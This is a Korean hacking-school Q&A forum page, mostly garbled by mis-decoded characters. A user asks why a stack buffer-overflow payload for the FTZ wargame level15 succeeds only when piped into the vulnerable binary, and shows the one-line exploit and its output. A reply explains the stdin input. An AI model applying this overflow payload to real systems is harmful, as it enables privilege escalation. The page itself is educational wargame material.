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 1574, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ka0r1
   ÀÌ µÎ°³ÀÇ ¸í·É¾îÀÇ Â÷ÀÌÁ¡ÀÌ ¹º°¡¿ä?

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1907 [º¹»ç]


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
my-pass

Level16 Password is "xxxxxxxxxxxxxxxxxxxxxxxxx".


[4]+  Stopped                 ( python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat ) | ./attackme
[level15@ftz level15]$ ./attackme | (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA©÷„
my-pass
[level15@ftz level15]$












attackÀÌ ¾Õ¿¡ ÀÖÀ» ¶© level16±ÇÇÑÀ» Ãëµæ ¸øÇÏ°í
attackÀÌ µÚ¿¡ ÀÖÀ» ¶© level16±ÇÇÑÀ» ÃëµæÇÕ´Ï´Ù.

  Hit : 2115     Date : 2017/12/20 01:09



    
gihacker 15¹ø ¹®Á¦ ¼Ò½º¸¦ º¸½Ã¸é

fgets(buf, 45, stdin);

stdin À¸·Î buf º¯¼ö¿¡ 45¹ÙÀÌÆ®¸¦ ÀԷ¹ްí Àֳ׿ä

±×·¡¼­ attackme ÀÇ ÀÎÀÚ·Î ÆäÀ̷ε带 Àü´ÞÇغÁ¾ß buf¿¡´Â ¾Æ¹«°Íµµ Àü´ÞµÇÁö ¾Ê½À´Ï´Ù

¸¸¾à¿¡ attackme ÀÇ Ã¹¹ø° ÀÎÀڷκÎÅÍ buf ¿¡ °ªÀ» ÀÔ·ÂÇÑ´Ù¸é ÇØÅ·ÀÌ µÇÁö¸¸ Áö±Ý ¹®Á¦´Â

stdin À» »ç¿ëÇÏ¿© ÀÔ·ÂÀ» ¹Þ±â¶§¹®¿¡ ¾ÈµÇ´Â°Å¿¡¿ä
2017/12/20  
ka0r1 gilhacker // ´äº¯ °¨»çÇÕ´Ï´Ù. 2017/12/22  
1574   pwnable.kr echo1 Áú¹®2 (½ºÆ÷ ÁÖÀÇ)[2]     turttle2s
10/05 1277
1573   LOB GATE¹®Á¦ Ç®¸é¼­ ±Ã±ÝÇÑÁ¡[3]     hackxx123
08/24 1002
1572   libc°ü·Ã - 2[5]     lMaxl04
08/24 911
1571   ASLRÀÌ °É·ÁÀÖÀ»¶§ ret¿¡ ROPÀ¸·Î jmp %espÀ» »ç¿ëÇÑ °æ¿ì.[3]     lMaxl04
06/29 1176
1570   ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ ½ºÅà ÁÖ¼Ò È®ÀÎ ¹æ¹ýÀÌ ±Ã±ÝÇÕ´Ï´Ù.[2]     lMaxl04
06/16 967
1569   ÇØÅ· ÇÁ¸®¼­¹ö ¾ø¾îÁ³³ª¿ä?[1]     terfkim
04/15 1749
1568   ½ºÅÿ¡ µ¥ÀÌÅÍ ³ÖÀ» ¶§ SIGSEGV[4]     turttle2s
02/04 1483
1567   pwnable.kr echo1 Áú¹®[2]     turttle2s
06/17 1752
1566   ROP strcpy °ü·Ã Áú¹®ÀÔ´Ï´Ù.[3]     heeyoung0511
06/16 1598
1565   Level2 -> Level3 ¿¡¼­ vi¿Í /usr/bin/EditorÀÇ Â÷ÀÌ[2]     hyemin1826
07/18 1896
1564   Trainer3 ftz.hackerschool.org È£½ºÆ® Á¢¼Ó ºÒ°¡[1]     hyemin1826
07/18 3243
1563   dllÀÎÁ§¼Ç ½ÇÇèÁß Áú¹® µå¸³´Ï´Ù.[1]     kkk477
05/31 1877
1562   ÆÐŶ º¹È£È­¸¦ ¸¶½ºÅÍ ÇÏ·Á¸é ¾î¶² °úÁ¤ÀÌ ÀÖ¾î¾ßÇϳª¿ä?     sa0814
04/01 1715
1561   »ç±â[2]     jas08
03/31 2014
1560   ½Ã½ºÅÛ ÄÝÀÌ °¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ª°ú ºÒ°¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÌ Á¸ÀçÇϳª¿ä?     ocal
03/30 1752
1559   pwntools »ç¿ë½Ã¿Í ±âº» socket ¸ðµâ ÀÌ¿ë½Ã Â÷ÀÌ?[4]     ocal
01/09 2301
1558   lob level19(nightmare) °ü·ÃÁú¹®[1]     dnjsdnwja
12/18 1765
1557   ftz level2 Áú¹®ÀÖ½À´Ï´Ù[1]     kihyun1998
12/13 1857
1556   ftz level2¹ø Ǫ´Âµ¥¿ä ±ÇÇÑÀÌ...     kihyun1998
12/06 1725
1555   ½Ã½ºÅÛÇØÅ·ÇÒ¶§ [3]     thsrhkdwns
12/05 2213
1 [2][3][4][5][6][7][8][9][10]..[79]

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